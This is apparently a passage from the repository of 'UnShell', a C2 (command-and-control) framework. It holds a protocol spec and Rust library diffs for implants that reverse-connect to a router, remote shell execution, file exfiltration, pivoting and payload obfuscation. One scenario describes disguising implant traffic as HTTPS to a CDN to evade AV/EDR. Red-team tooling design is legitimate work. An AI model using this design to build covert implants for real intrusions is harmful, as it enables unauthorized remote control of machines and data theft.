logic. It does not interpret payloads. Think of it as a post office: it reads the
|
||||
address on the envelope and delivers the contents without opening them.
|
||||
|
||||
---
|
||||
|
||||
## Design Goals
|
||||
|
||||
1. **Minimal footprint on the payload.** The payload binary must stay small. The
|
||||
protocol must work in a `no_std + alloc` environment.
|
||||
|
||||
2. **Transport independence.** TCP is the first transport, but the protocol must not
|
||||
assume TCP. HTTPS, ICMP, and other transports will be added later. The protocol
|
||||
layer sits above the transport layer via a `Transport` trait.
|
||||
|
||||
3. **Router-opaque payloads.** The router only reads the packet header (destination
|
||||
path, source path, packet type). The payload body is forwarded as opaque bytes.
|
||||
This means the protocol can evolve without touching router code.
|
||||
|
||||
4. **Forward compatibility.** Adding new fields to message types must not break
|
||||
existing implementations. Use rkyv's archived format, which supports this.
|
||||
|
||||
5. **Operator experience.** The operator CLI is a first-class node, not a special
|
||||
client. It connects and registers like any payload, just with a terminal attached.
|
||||
|
||||
---
|
||||
|
||||
## Node Types
|
||||
|
||||
```
|
||||
┌─────────────────┐ ┌─────────────────────────────────────────────┐
|
||||
│ Payload Node │ │ Router Node │
|
||||
│ │ │ │
|
||||
│ - Registers at │ │ - Accepts TCP from all node types │
|
||||
│ /agents/<id> │ │ - Maintains: node_id → (paths, tx_channel) │
|
||||
│ - Hosts modules│ │ - Routes packets by longest-prefix match │
|
||||
│ as endpoints │ │ - Has own endpoints at /router/... │
|
||||
│ - no_std + alloc│ │ - NO application logic beyond routing │
|
||||
└────────┬────────┘ └─────────────────────────────────────────────┘
|
||||
│ TCP (reverse connect: payload → router)
|
||||
│
|
||||
┌────────▼────────┐
|
||||
│ Operator Node │
|
||||
│ (ush-cli) │
|
||||
│ │
|
||||
│ - Registers at │
|
||||
│ /operator/<n>│
|
||||
│ - Interactive │
|
||||
│ REPL shell │
|
||||
│ - Issues Tree │
|
||||
│ Requests to │
|
||||
│ any path │
|
||||
└─────────────────┘
|
||||
```
|
||||
|
||||
**Path conventions:**
|
||||
- Payload nodes: `/agents/<node_id>/` prefix (e.g., `/agents/abc123/shell/exec`)
|
||||
- Operator nodes: `/operator/<session_id>/` prefix
|
||||
- Router built-ins: `/router/` prefix (e.g., `/router/nodes`, `/router/ping`)
|
||||
|
||||
**NodeType enum (v1):**
|
||||
```rust
|
||||
pub enum NodeType {
|
||||
Payload,
|
||||
Operator,
|
||||
// Router variant added when multi-hop/pivoting is implemented
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Wire Format
|
||||
|
||||
Every transmission uses a **two-part framed message**:
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────────────────────────────┐
|
||||
│ Part 1: Header │ Part 2: Payload │
|
||||
│ │ │
|
||||
│ [u32 big-endian length] │ [u32 big-endian length] │
|
||||
│ [rkyv-serialised PacketHeader bytes] │ [rkyv payload bytes] │
|
||||
│ │ │
|
||||
│ Router reads this to determine routing │ Router forwards opaque │
|
||||
└──────────────────────────────────────────┴───────────────────────────┘
|
||||
```
|
||||
|
||||
Both length fields are **big-endian `u32`**, so the maximum frame size is ~4GB per
|
||||
part. In practice, packets should be much smaller. A future streaming extension will
|
||||
allow chunked payloads for large data transfers.
|
||||
|
||||
### Why two parts?
|
||||
|
||||
The router needs to know where to send a packet. With a single rkyv blob, the router
|
||||
would have to deserialise the entire packet just to read the destination path. With a
|
||||
separate header, the router deserialises only the small header (typically < 100 bytes)
|
||||
and forwards the payload bytes untouched. This is efficient and keeps the protocol
|
||||
transport-agnostic at the router level.
|
||||
|
||||
### PacketHeader
|
||||
|
||||
```rust
|
||||
/// The packet header that every node sends before the payload.
|
||||
/// The router reads ONLY this to determine routing.
|
||||
/// The payload body is opaque to the router.
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct PacketHeader {
|
||||
/// Destination path in the global tree.
|
||||
/// The router does a longest-prefix match against registered node paths.
|
||||
/// Example: "/agents/abc123/shell/exec"
|
||||
pub dst_path: String,
|
||||
|
||||
/// Source path of the sending node.
|
||||
/// Used by the destination to know where to send the response.
|
||||
/// Example: "/operator/sess1"
|
||||
pub src_path: String,
|
||||
|
||||
/// Discriminates between handshake and protocol messages.
|
||||
pub packet_type: PacketType,
|
||||
}
|
||||
|
||||
/// Discriminates the payload type so the receiver knows how to deserialise it.
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq)]
|
||||
pub enum PacketType {
|
||||
/// Sent by a newly connected node to register itself.
|
||||
Handshake,
|
||||
/// Sent by the router in response to a handshake.
|
||||
HandshakeAck,
|
||||
/// An application-level request (the main protocol message).
|
||||
Request,
|
||||
/// An application-level response.
|
||||
Response,
|
||||
}
|
||||
```
|
||||
|
||||
**Why `String` for paths instead of `Vec<String>`?**
|
||||
|
||||
A single `/`-delimited string serialises smaller (one allocation, no Vec overhead)
|
||||
and is easier for the router to do prefix matching on. Components are split at
|
||||
application layer, not at the wire level.
|
||||
|
||||
---
|
||||
|
||||
## Handshake Protocol
|
||||
|
||||
When any node connects to the router, it must complete a handshake before sending
|
||||
application messages. The handshake registers the node's identity and the paths it
|
||||
owns.
|
||||
|
||||
```
|
||||
Node Router
|
||||
│ │
|
||||
│──── TCP connect ────────────>│
|
||||
│ │
|
||||
│──── HandshakeMessage ───────>│ (PacketType::Handshake)
|
||||
│ node_id: "abc123" │
|
||||
│ node_type: Payload │
|
||||
│ registered_paths: [...] │
|
||||
│ platform: "linux-x86_64" │
|
||||
│ │
|
||||
│<─── HandshakeAck ────────────│ (PacketType::HandshakeAck)
|
||||
│ accepted: true │
|
||||
│ assigned_base_path: "..." │
|
||||
│ │
|
||||
│ [now registered, can send │
|
||||
│ and receive Requests] │
|
||||
```
|
||||
|
||||
**Handshake timeout:** If the node does not receive a `HandshakeAck` within **5
|
||||
seconds**, it closes the connection and retries.
|
||||
|
||||
**Router timeout:** If the router does not receive a `HandshakeMessage` within **10
|
||||
seconds** of a TCP connect, it closes the connection.
|
||||
|
||||
### HandshakeMessage
|
||||
|
||||
```rust
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct HandshakeMessage {
|
||||
/// Node identifier. For payloads: baked at compile time (base62).
|
||||
/// For operator CLI: random per session (UUID or random base62).
|
||||
pub node_id: String,
|
||||
|
||||
/// Whether this node is a payload or an operator shell.
|
||||
pub node_type: NodeType,
|
||||
|
||||
/// The path prefixes this node owns. The router registers these.
|
||||
/// Example: ["/agents/abc123"]
|
||||
/// All sub-paths are implicitly owned by this prefix.
|
||||
pub registered_paths: Vec<String>,
|
||||
|
||||
/// Human-readable platform string for operator visibility.
|
||||
/// Example: "linux-x86_64", "windows-x86_64", "operator"
|
||||
pub platform: String,
|
||||
}
|
||||
```
|
||||
|
||||
### HandshakeAck
|
||||
|
||||
```rust
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct HandshakeAck {
|
||||
/// Whether the router accepted this node's registration.
|
||||
pub accepted: bool,
|
||||
|
||||
/// The canonical base path assigned by the router (usually matches
|
||||
/// the first registered_path the node sent, but the router may adjust it).
|
||||
/// Empty string if rejected.
|
||||
pub assigned_base_path: String,
|
||||
|
||||
/// Human-readable rejection reason if accepted == false.
|
||||
pub rejection_reason: Option<String>,
|
||||
}
|
||||
```
|
||||
|
||||
**Rejection reasons (v1):**
|
||||
- `"duplicate_node_id"` — a node with this ID is already registered
|
||||
- `"invalid_path"` — a registered path is malformed or conflicts with a reserved prefix
|
||||
|
||||
---
|
||||
|
||||
## Application Protocol: TreeRequest / TreeResponse
|
||||
|
||||
After the handshake, nodes communicate using `TreeRequest` / `TreeResponse` pairs.
|
||||
|
||||
A request travels: **sender → router → destination node**
|
||||
A response travels: **destination → router → original sender** (using `src_path` from the request header as the destination path for the response)
|
||||
|
||||
### TreeRequest
|
||||
|
||||
```rust
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct TreeRequest {
|
||||
/// Unique ID for this request, generated by the sender.
|
||||
/// The responder echoes this back in TreeResponse.request_id.
|
||||
/// Enables correlation when multiple requests are in-flight.
|
||||
pub request_id: u64,
|
||||
|
||||
/// The operation type.
|
||||
pub request_type: RequestType,
|
||||
|
||||
/// Content-type string describing how to interpret `data`.
|
||||
/// Convention: "core/None", "core/Utf8String", "core/Bytes", etc.
|
||||
pub content_type: String,
|
||||
|
||||
/// The operation payload. Interpretation depends on content_type.
|
||||
pub data: Vec<u8>,
|
||||
}
|
||||
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq)]
|
||||
pub enum RequestType {
|
||||
/// Read a value at this path.
|
||||
Read = 0,
|
||||
|
||||
/// List available sub-paths and procedures at this path.
|
||||
GetProcedures = 1,
|
||||
|
||||
/// Write a value to this path.
|
||||
Write = 2,
|
||||
|
||||
/// Invoke a named procedure at this path.
|
||||
CallProcedure = 3,
|
||||
}
|
||||
```
|
||||
|
||||
### TreeResponse
|
||||
|
||||
```rust
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct TreeResponse {
|
||||
/// Echoed from the corresponding TreeRequest.request_id.
|
||||
pub request_id: u64,
|
||||
|
||||
/// Whether the operation succeeded or failed.
|
||||
pub status: ResponseStatus,
|
||||
|
||||
/// Content-type of the response data.
|
||||
pub content_type: String,
|
||||
|
||||
/// Response payload. Empty if status is an error with no data.
|
||||
pub data: Vec<u8>,
|
||||
}
|
||||
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq)]
|
||||
pub enum ResponseStatus {
|
||||
/// Operation completed successfully.
|
||||
Ok = 0,
|
||||
|
||||
/// The requested path does not exist at the destination node.
|
||||
NoBranchError = 1,
|
||||
|
||||
/// The requested operation is not supported at this path.
|
||||
UnsupportedOperation = 2,
|
||||
|
||||
/// The destination node encountered an error executing the request.
|
||||
ExecutionError = 3,
|
||||
|
||||
/// The request payload was malformed.
|
||||
ProtocolError = 4,
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Content Type Convention
|
||||
|
||||
The `content_type` field in requests and responses follows a namespaced string
|
||||
convention, similar to MIME types but simpler:
|
||||
|
||||
| Content type | Meaning |
|
||||
|---|---|
|
||||
| `"core/None"` | No data (empty payload) |
|
||||
| `"core/Utf8String"` | Raw UTF-8 string in `data` |
|
||||
| `"core/Bytes"` | Raw bytes (no specific interpretation) |
|
||||
| `"core/ProcedureList"` | Response to `GetProcedures`: rkyv-serialised `Vec<ProcedureDescriptor>` |
|
||||
| `"shell/Output"` | Shell command output (UTF-8 stdout + stderr) |
|
||||
| `"files/Bytes"` | Raw file contents |
|
||||
|
||||
Custom module content types should use the module name as the namespace:
|
||||
`"mymodule/MyType"`.
|
||||
|
||||
---
|
||||
|
||||
## Path Routing
|
||||
|
||||
The router uses **longest-prefix match** to route packets to nodes.
|
||||
|
||||
```
|
||||
Registered paths: Incoming dst_path: Routes to:
|
||||
/agents/abc123 /agents/abc123/shell/exec → node "abc123"
|
||||
/agents/xyz456 /agents/xyz456/files/read → node "xyz456"
|
||||
/router /router/nodes → router's built-in handler
|
||||
```
|
||||
|
||||
**Rules:**
|
||||
1. Split `dst_path` by `/`, find all nodes whose `registered_paths` is a prefix of `dst_path`.
|
||||
2. Choose the node with the longest matching prefix (most specific).
|
||||
3. If no match, return a `TreeResponse { status: NoBranchError, ... }` to the sender.
|
||||
4. If multiple nodes match with equal prefix length (should not happen if registration is correct), route to the most recently registered node and log a warning.
|
||||
|
||||
---
|
||||
|
||||
## Router Built-in Endpoints
|
||||
|
||||
The router itself hosts a small set of endpoints at `/router/`:
|
||||
|
||||
| Path | RequestType | Returns |
|
||||
|---|---|---|
|
||||
| `/router/nodes` | `GetProcedures` | List of all connected nodes with their paths and types |
|
||||
| `/router/ping` | `Read` | `"pong"` (latency check) |
|
||||
|
||||
---
|
||||
|
||||
## Real-World Scenario Analysis
|
||||
|
||||
This section stress-tests the protocol against conditions you'll actually encounter
|
||||
on an engagement or in the wild.
|
||||
|
||||
### Scenario 1: Flaky Network / Payload Reconnect
|
||||
|
||||
**Situation:** A payload is behind a NAT and its TCP connection to the router drops
|
||||
(firewall timeout, network hiccup, target rebooted).
|
||||
|
||||
**What happens:**
|
||||
1. Payload's `recv()` call returns `TransportError::Disconnected` (EOF) or `TransportError::Io`.
|
||||
2. Payload closes the TcpStream, waits **5 seconds**, attempts reconnect.
|
||||
3. Router's node thread for this connection receives EOF, removes the `NodeInfo` entry from the registry, exits cleanly.
|
||||
4. Payload reconnects, sends a new `HandshakeMessage` with the **same** `node_id`.
|
||||
5. Router re-registers it. The operator runs `list` and sees the payload appear again.
|
||||
|
||||
**Operator experience:** The operator may see the payload disappear from `list` briefly
|
||||
during the reconnect window. Sessions associated with that payload become temporarily
|
||||
unresponsive. After reconnect they work again.
|
||||
|
||||
**Failure mode:** If the payload's `node_id` was stored as persistent session state on
|
||||
the operator side, it should survive the reconnect without the operator re-typing `use`.
|
||||
|
||||
**Protocol requirement:** The router must handle re-registration of a node ID that was
|
||||
previously registered. The old entry is already gone (thread exited), so this is a
|
||||
clean re-registration.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 2: Operator Disconnects Mid-Session
|
||||
|
||||
**Situation:** The operator closes the CLI (`Ctrl+C`, terminal crash) while a payload
|
||||
is still connected.
|
||||
|
||||
**What happens:**
|
||||
1. Router's operator node thread receives EOF. Removes `/operator/sess1` from registry.
|
||||
2. Any in-flight `TreeRequest` from that operator that the payload hasn't responded to
|
||||
yet: the payload sends a `TreeResponse` back, router tries to route it to
|
||||
`/operator/sess1`, finds no registered node, discards the response and logs a warning.
|
||||
3. Payloads remain connected. The payload's modules keep running (persistence).
|
||||
|
||||
**Operator experience:** When the operator reconnects, it gets a **new session ID**
|
||||
(`/operator/sess2`). It runs `list` to see what payloads are still connected. Background
|
||||
operations on payloads that were running continue.
|
||||
|
||||
**Key insight:** The payload is the persistent state. The operator is ephemeral.
|
||||
This is the "background services without another process" design — payload modules
|
||||
keep running even when no operator is connected.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 3: Multiple Operators
|
||||
|
||||
**Situation:** Two operators connect simultaneously (e.g., red team lead and junior
|
||||
analyst).
|
||||
|
||||
**What happens:**
|
||||
1. Both connect, get unique session IDs: `/operator/sess1` and `/operator/sess2`.
|
||||
2. Both can send requests to any payload path.
|
||||
3. Responses go back to the requesting operator's `src_path`.
|
||||
4. There is no access control in v1. Both operators have full access to all paths.
|
||||
|
||||
**Collision scenario:** Both operators call `/agents/abc123/shell/exec "ls"` at the
|
||||
same time. The payload processes requests sequentially (single-threaded recv loop).
|
||||
It sends two responses, each echoing the correct `request_id`. Each response routes
|
||||
to the operator that sent the matching request (via `src_path` in the request header).
|
||||
|
||||
**Failure mode in v1:** No locking on the payload side. If a `Write` and a `Read` to
|
||||
the same resource happen simultaneously, the result is whatever order the TCP stack
|
||||
delivers them. This is acceptable for v1 red team use where multiple operators are
|
||||
unlikely to stomp each other on the same target simultaneously.
|
||||
|
||||
**Future:** Add an optional exclusive-lock request type for sensitive operations.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 4: Large Data Transfer (File Exfiltration)
|
||||
|
||||
**Situation:** Operator requests a large file (100MB) from a target.
|
||||
|
||||
**Problem with current design:** The `u32` length prefix allows up to 4GB per packet,
|
||||
but buffering 100MB in RAM on the payload before sending is problematic on constrained
|
||||
targets.
|
||||
|
||||
**V1 approach:** Accept this limitation. Files up to ~50MB should be fine in practice
|
||||
for most engagements. The `TreeRequest.data` field holds the serialised request;
|
||||
the `TreeResponse.data` field holds the file bytes. For v1, the payload reads the
|
||||
entire file into a `Vec<u8>` and sends it.
|
||||
|
||||
**Future (chunked streaming):** Add `PacketType::Stream` and `PacketType::StreamEnd`
|
||||
to support chunked transfers. The router passes stream packets through without buffering.
|
||||
The operator reassembles chunks. This requires a stream ID in the header to demultiplex
|
||||
concurrent streams.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 5: AV / EDR Detection via Network Traffic
|
||||
|
||||
**Situation:** The payload is on a monitored network. The router is a VPS. Plain TCP
|
||||
connections from the target to an unknown IP may trigger alerts.
|
||||
|
||||
**V1 limitation:** Plaintext TCP. Easy to detect.
|
||||
|
||||
**Transport abstraction payoff:** The `Transport` trait makes this the router's and
|
||||
payload's responsibility, not the protocol's. To switch to HTTPS:
|
||||
1. Implement `HttpsTransport: Transport` for the payload.
|
||||
2. Have the payload connect to a domain name (baked at compile time) on port 443.
|
||||
3. The router terminates TLS and speaks the same framing protocol underneath.
|
||||
4. From the network's perspective: an HTTPS connection to what looks like a CDN.
|
||||
|
||||
Nothing in the protocol spec changes. Only the `Transport` implementation swaps.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 6: Router Crash / Restart
|
||||
|
||||
**Situation:** The router process crashes or is restarted (e.g., VPS reboot).
|
||||
|
||||
**What happens:**
|
||||
1. All node TCP connections drop simultaneously.
|
||||
2. All nodes (payloads and operators) receive `Disconnected` errors.
|
||||
3. All nodes enter reconnect loops.
|
||||
4. Once the router restarts and starts accepting connections, nodes reconnect and
|
||||
re-register in whatever order their reconnect loops fire.
|
||||
5. The router comes back to a clean state (no session persistence across restarts in v1).
|
||||
|
||||
**Failure mode:** In-flight requests at the time of crash are lost. The operator may
|
||||
see commands that appear to hang. The operator should use a timeout on requests.
|
||||
|
||||
**V1 mitigation:** Request timeout is on the operator's TODO list. For now, the
|
||||
operator can detect a crash by the payload disappearing from `list`.
|
||||
|
||||
**Future:** The router could persist its node registry to disk and recover after restart.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 7: Malformed Packet / Bad Actor
|
||||
|
||||
**Situation:** Something sends a malformed packet to the router (fuzzer, compromised
|
||||
node, network corruption).
|
||||
|
||||
**Defense layers:**
|
||||
1. **Length prefix:** If the announced frame length is > a max limit (e.g., 64MB), the
|
||||
router closes the connection with `TransportError::FrameTooLarge`. No allocation.
|
||||
2. **rkyv deserialisation:** If the header bytes don't decode to a valid `PacketHeader`,
|
||||
`rkyv::access` returns an error. The router closes the connection.
|
||||
3. **Unknown `dst_path`:** Routes to no node, sends back `NoBranchError`.
|
||||
4. **No authentication in v1:** Any node can send to any path. This is acceptable for
|
||||
v1 where the router address is only known to the operator. Authentication (shared
|
||||
secret or challenge-response) is a v2 concern.
|
||||
|
||||
---
|
||||
|
||||
### Scenario 8: Pivot / Multi-Hop (Future)
|
||||
|
||||
**Situation:** A payload on an internal network can only reach another internal host,
|
||||
not the external router. A "pivot" payload acts as a relay.
|
||||
|
||||
**How the tree model enables this:**
|
||||
1. Pivot payload registers at `/agents/pivot1/` on the external router.
|
||||
2. Pivot payload also acts as a *local router* for sub-agents.
|
||||
3. Sub-agents connect to the pivot payload's local listener and register.
|
||||
4. The pivot payload's `/agents/pivot1/agents/` prefix forwards packets to sub-agents.
|
||||
5. From the external operator's perspective: `/agents/pivot1/agents/sub1/shell/exec`
|
||||
is just a deeper path. The routing is recursive.
|
||||
|
||||
**Protocol requirement to enable this:** Add `NodeType::Router` to the enum. A pivot
|
||||
payload registers as a `Router` node, not a `Payload` node. The external router
|
||||
knows to forward any path with `/agents/pivot1/` prefix to the pivot connection,
|
||||
and the pivot routes further from there.
|
||||
|
||||
This does not require protocol changes to v1. Only the `NodeType` enum needs the
|
||||
`Router` variant added back.
|
||||
|
||||
---
|
||||
|
||||
## Transport Trait
|
||||
|
||||
All transports implement this interface:
|
||||
|
||||
```rust
|
||||
/// A bidirectional framed transport.
|
||||
///
|
||||
/// Implementations are responsible for framing: the two-part header+payload format
|
||||
/// described in the wire format spec. Each `send` call transmits exactly one
|
||||
/// logical packet (header + payload). Each `recv` call receives exactly one.
|
||||
///
|
||||
/// Implementations MUST use `read_exact`-style loops (not single `read` calls)
|
||||
/// because TCP is a stream protocol and may deliver partial frames.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// // TCP implementation skeleton
|
||||
/// impl Transport for TcpTransport {
|
||||
/// fn send(&mut self, header: &PacketHeader, payload: &[u8]) -> Result<(), TransportError> {
|
||||
/// // 1. Serialise header to bytes
|
||||
/// // 2. Write [u32 header_len][header bytes][u32 payload_len][payload bytes]
|
||||
/// // 3. Use write_all() to ensure complete write
|
||||
/// }
|
||||
/// fn recv(&mut self) -> Result<(PacketHeader, Vec<u8>), TransportError> {
|
||||
/// // 1. read_exact 4 bytes → header length
|
||||
/// // 2. read_exact N bytes → header bytes
|
||||
/// // 3. Deserialise header
|
||||
/// // 4. read_exact 4 bytes → payload length
|
||||
/// // 5. read_exact M bytes → payload bytes
|
||||
/// // 6. Return (header, payload)
|
||||
/// }
|
||||
/// }
|
||||
/// ```
|
||||
pub trait Transport: Send {
|
||||
/// Send a packet (header + payload) over this transport.
|
||||
/// Blocks until all bytes are written.
|
||||
fn send(&mut self, header: &PacketHeader, payload: &[u8]) -> Result<(), TransportError>;
|
||||
|
||||
/// Receive one packet from this transport.
|
||||
/// Blocks until a complete header+payload pair is received.
|
||||
fn recv(&mut self) -> Result<(PacketHeader, Vec<u8>), TransportError>;
|
||||
}
|
||||
|
||||
#[derive(Debug, thiserror::Error)]
|
||||
pub enum TransportError {
|
||||
#[error("I/O error: {0}")]
|
||||
Io(#[from] std::io::Error),
|
||||
|
||||
#[error("frame header too large: {0} bytes (max {1})")]
|
||||
FrameTooLarge(usize, usize),
|
||||
|
||||
#[error("connection closed cleanly")]
|
||||
Disconnected,
|
||||
|
||||
#[error("rkyv deserialisation failed")]
|
||||
DeserialiseError,
|
||||
}
|
||||
```
|
||||
|
||||
### Reconnect Policy
|
||||
|
||||
**Payloads:** On `Disconnected` or `Io(_)` from `recv()` or `send()`:
|
||||
1. Close the transport.
|
||||
2. Wait 5 seconds.
|
||||
3. Attempt to create a new transport connection.
|
||||
4. If connect fails, wait 5 more seconds, retry. No maximum retry limit.
|
||||
5. On connect success, run the handshake again.
|
||||
|
||||
**Operator CLI:** On disconnect, print a message and exit. The operator restarts the
|
||||
CLI manually. (In a future version, the CLI could auto-reconnect and restore session.)
|
||||
|
||||
---
|
||||
|
||||
## Frame Size Limits
|
||||
|
||||
| Limit | Value | Reason |
|
||||
|---|---|---|
|
||||
| Max header length | 64 KB | Headers should never be this large; anything bigger is a bug or attack |
|
||||
| Max payload length | 64 MB | Sufficient for most file transfers; larger files need chunked streaming (future) |
|
||||
| Handshake timeout | 10 s (router) | Prevent resource exhaustion from hanging connections |
|
||||
| Handshake ack timeout | 5 s (node) | Keep reconnect loops responsive |
|
||||
|
||||
---
|
||||
|
||||
## Version Compatibility
|
||||
|
||||
rkyv's archived format allows adding new fields (with `#[rkyv(default)]` for missing
|
||||
fields when reading older messages). This means:
|
||||
|
||||
- New fields can be added to any message type without breaking existing implementations.
|
||||
- Removing or renaming fields IS a breaking change.
|
||||
- The `PacketType` enum should only gain variants, never lose them.
|
||||
|
||||
When breaking changes are necessary, bump the protocol version (future: add a version
|
||||
field to the framing format).
|
||||
|
||||
---
|
||||
|
||||
## Implementation Checklist
|
||||
|
||||
- [ ] `src/protocol/mod.rs` — re-exports all protocol types
|
||||
- [ ] `src/protocol/types.rs` — PacketHeader, PacketType, TreeRequest, TreeResponse, HandshakeMessage, HandshakeAck
|
||||
- [ ] `src/protocol/content_types.rs` — content type constants
|
||||
- [ ] `src/transport/mod.rs` — Transport trait, TransportError
|
||||
- [ ] `src/transport/tcp.rs` — TcpTransport implementing Transport
|
||||
- [ ] `src/tree/mod.rs` — Tree, Endpoint trait (new implementation with correct routing)
|
||||
- [ ] `ush-router/` — router binary
|
||||
- [ ] `ush-payload/` — payload binary with transport layer
|
||||
- [ ] `ush-cli/` — operator REPL binary
|
||||
- [ ] Unit tests for framing round-trips, tree routing correctness
|
||||
- [ ] Integration test: two nodes through a real router
|
||||
+46
-4
@@ -1,11 +1,53 @@
|
||||
#![no_main]
|
||||
#![no_std]
|
||||
//! # UnShell Core Library
|
||||
//!
|
||||
//! This crate provides the core building blocks for the UnShell C2 framework:
|
||||
//!
|
||||
//! - **[`protocol`]** — wire types: `PacketHeader`, `TreeRequest`, `TreeResponse`,
|
||||
//! `HandshakeMessage`, `HandshakeAck`, and associated enums.
|
||||
//! - **[`transport`]** — the `Transport` trait and its TCP implementation.
|
||||
//! - **[`tree`]** — the `Tree` and `Endpoint` abstractions for module dispatch.
|
||||
//! - **[`logger`]** — lightweight logging (no dependency on `std::io`).
|
||||
//!
|
||||
//! ## `no_std` Compatibility
|
||||
//!
|
||||
//! This crate is `no_std` but requires `alloc`. It can be used in the payload
|
||||
//! binary which runs without a full standard library.
|
||||
//!
|
||||
//! Binaries that have `std` available (the router, the CLI) can also use this
|
||||
//! crate; they simply get `alloc` types backed by the system allocator.
|
||||
//!
|
||||
//! ## Architecture
|
||||
//!
|
||||
//! ```text
|
||||
//! ┌────────────────────────────────────────────────────────────────┐
|
||||
//! │ Router / Relay │
|
||||
//! │ Reads PacketHeader → longest-prefix routes to node │
|
||||
//! │ Payload bytes forwarded opaque │
|
||||
//! └───────────┬─────────────────────────┬──────────────────────────┘
|
||||
//! │ TCP │ TCP
|
||||
//! ┌────────▼────────┐ ┌─────────▼──────────────────────────┐
|
||||
//! │ Operator Node │ │ Payload Node(s) │
|
||||
//! │ (ush-cli) │ │ Local Tree + Endpoint modules │
|
||||
//! │ Interactive │ │ Reverse-connects to router │
|
||||
//! │ REPL │ │ Recv loop → dispatch → respond │
|
||||
//! └─────────────────┘ └─────────────────────────────────────┘
|
||||
//! ```
|
||||
//!
|
||||
//! For the full protocol specification, see `PROTOCOL.md` in the repository root.
|
||||
|
||||
// Enable std when the `tcp` feature is active (TCP transport requires it).
|
||||
// Without tcp, we stay fully no_std for bare-metal payload targets.
|
||||
#![cfg_attr(not(feature = "tcp"), no_std)]
|
||||
// no_main is only applied in non-test builds.
|
||||
// The test harness generates its own main function, so we must NOT suppress it.
|
||||
#![cfg_attr(not(test), no_main)]
|
||||
|
||||
extern crate alloc;
|
||||
|
||||
pub mod logger;
|
||||
pub mod protocol;
|
||||
pub mod transport;
|
||||
pub mod tree;
|
||||
|
||||
// Re-exports
|
||||
// pub use serde_json::{Value, json};
|
||||
// Re-export the obfuscation crate so payloads only need to depend on `unshell`.
|
||||
pub use ush_obfuscate as obfuscate;
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
// Macros that are used that just drop the inside variables
|
||||
#[macro_export]
|
||||
macro_rules! log {
|
||||
($level:expr, $fmt:tt) => {{}};
|
||||
($level:expr, $fmt:tt, $($arg:expr),*) => {{}};
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
#[macro_export]
|
||||
macro_rules! log {
|
||||
($level:expr, $fmt:tt) => {{
|
||||
use $crate::obfuscate;
|
||||
let log_result = obfuscate::sym_format!($fmt);
|
||||
|
||||
$crate::logger::add_record(
|
||||
$level,
|
||||
|
||||
#[cfg(feature = "log_debug")]
|
||||
Some(String::from(obfuscate::file_symbol!())),
|
||||
#[cfg(not(feature = "log_debug"))]
|
||||
None,
|
||||
|
||||
#[cfg(feature = "log_debug")]
|
||||
Some(std::time::SystemTime::now()),
|
||||
#[cfg(not(feature = "log_debug"))]
|
||||
None,
|
||||
|
||||
|
||||
log_result
|
||||
);
|
||||
}};
|
||||
($level:expr, $fmt:tt, $($arg:expr),*) => {{
|
||||
use $crate::obfuscate;
|
||||
let log_result = obfuscate::sym_format!($fmt, $($arg),*);
|
||||
|
||||
$crate::logger::add_record(
|
||||
$level,
|
||||
|
||||
#[cfg(feature = "log_debug")]
|
||||
Some(String::from(obfuscate::file_symbol!())),
|
||||
#[cfg(not(feature = "log_debug"))]
|
||||
None,
|
||||
|
||||
#[cfg(feature = "log_debug")]
|
||||
Some(std::time::SystemTime::now()),
|
||||
#[cfg(not(feature = "log_debug"))]
|
||||
None,
|
||||
|
||||
log_result
|
||||
);
|
||||
}};
|
||||
}
|
||||
+282
-66
@@ -1,115 +1,331 @@
|
||||
// Choose if the macros are enabled based on the feature setting
|
||||
#[cfg(feature = "log")]
|
||||
mod log_enabled;
|
||||
//! # Logger Module
|
||||
//!
|
||||
//! A lightweight, no_std-compatible logging system.
|
||||
//!
|
||||
//! ## Usage
|
||||
//!
|
||||
//! ```rust
|
||||
//! use unshell::{info, warn, error};
|
||||
//! use unshell::logger::Logger;
|
||||
//!
|
||||
//! // Uses the default (no-op) logger until one is installed.
|
||||
//! info!("Starting up");
|
||||
//! warn!("Something is off");
|
||||
//! error!("Critical failure");
|
||||
//! ```
|
||||
//!
|
||||
//! ## Installing a logger
|
||||
//!
|
||||
//! Call [`set_logger`] with any type that implements [`Logger`]:
|
||||
//!
|
||||
//! ```rust,no_run
|
||||
//! use unshell::logger::{Logger, LogLevel, Record, set_logger};
|
||||
//!
|
||||
//! struct StdoutLogger;
|
||||
//! impl Logger for StdoutLogger {
|
||||
//! fn log(&self, record: &Record<'_>) {
|
||||
//! // In a no_std environment you would use the `unix-print` crate
|
||||
//! // or write to a pre-opened file descriptor.
|
||||
//! let _ = record; // placeholder
|
||||
//! }
|
||||
//! }
|
||||
//!
|
||||
//! static MY_LOGGER: StdoutLogger = StdoutLogger;
|
||||
//! set_logger(&MY_LOGGER);
|
||||
//! ```
|
||||
//!
|
||||
//! ## Thread safety
|
||||
//!
|
||||
//! The global logger pointer is set **once at startup**, before any threads
|
||||
//! are spawned. After that, it is only read (never written). This is safe
|
||||
//! because:
|
||||
//!
|
||||
//! 1. The payload is single-threaded.
|
||||
//! 2. The router and CLI set the logger before spawning node threads.
|
||||
//!
|
||||
//! If you need to change the logger after threads start, synchronise access
|
||||
//! with a `Mutex` or an atomic pointer in your logger implementation.
|
||||
|
||||
#[cfg(not(feature = "log"))]
|
||||
mod log_disabled;
|
||||
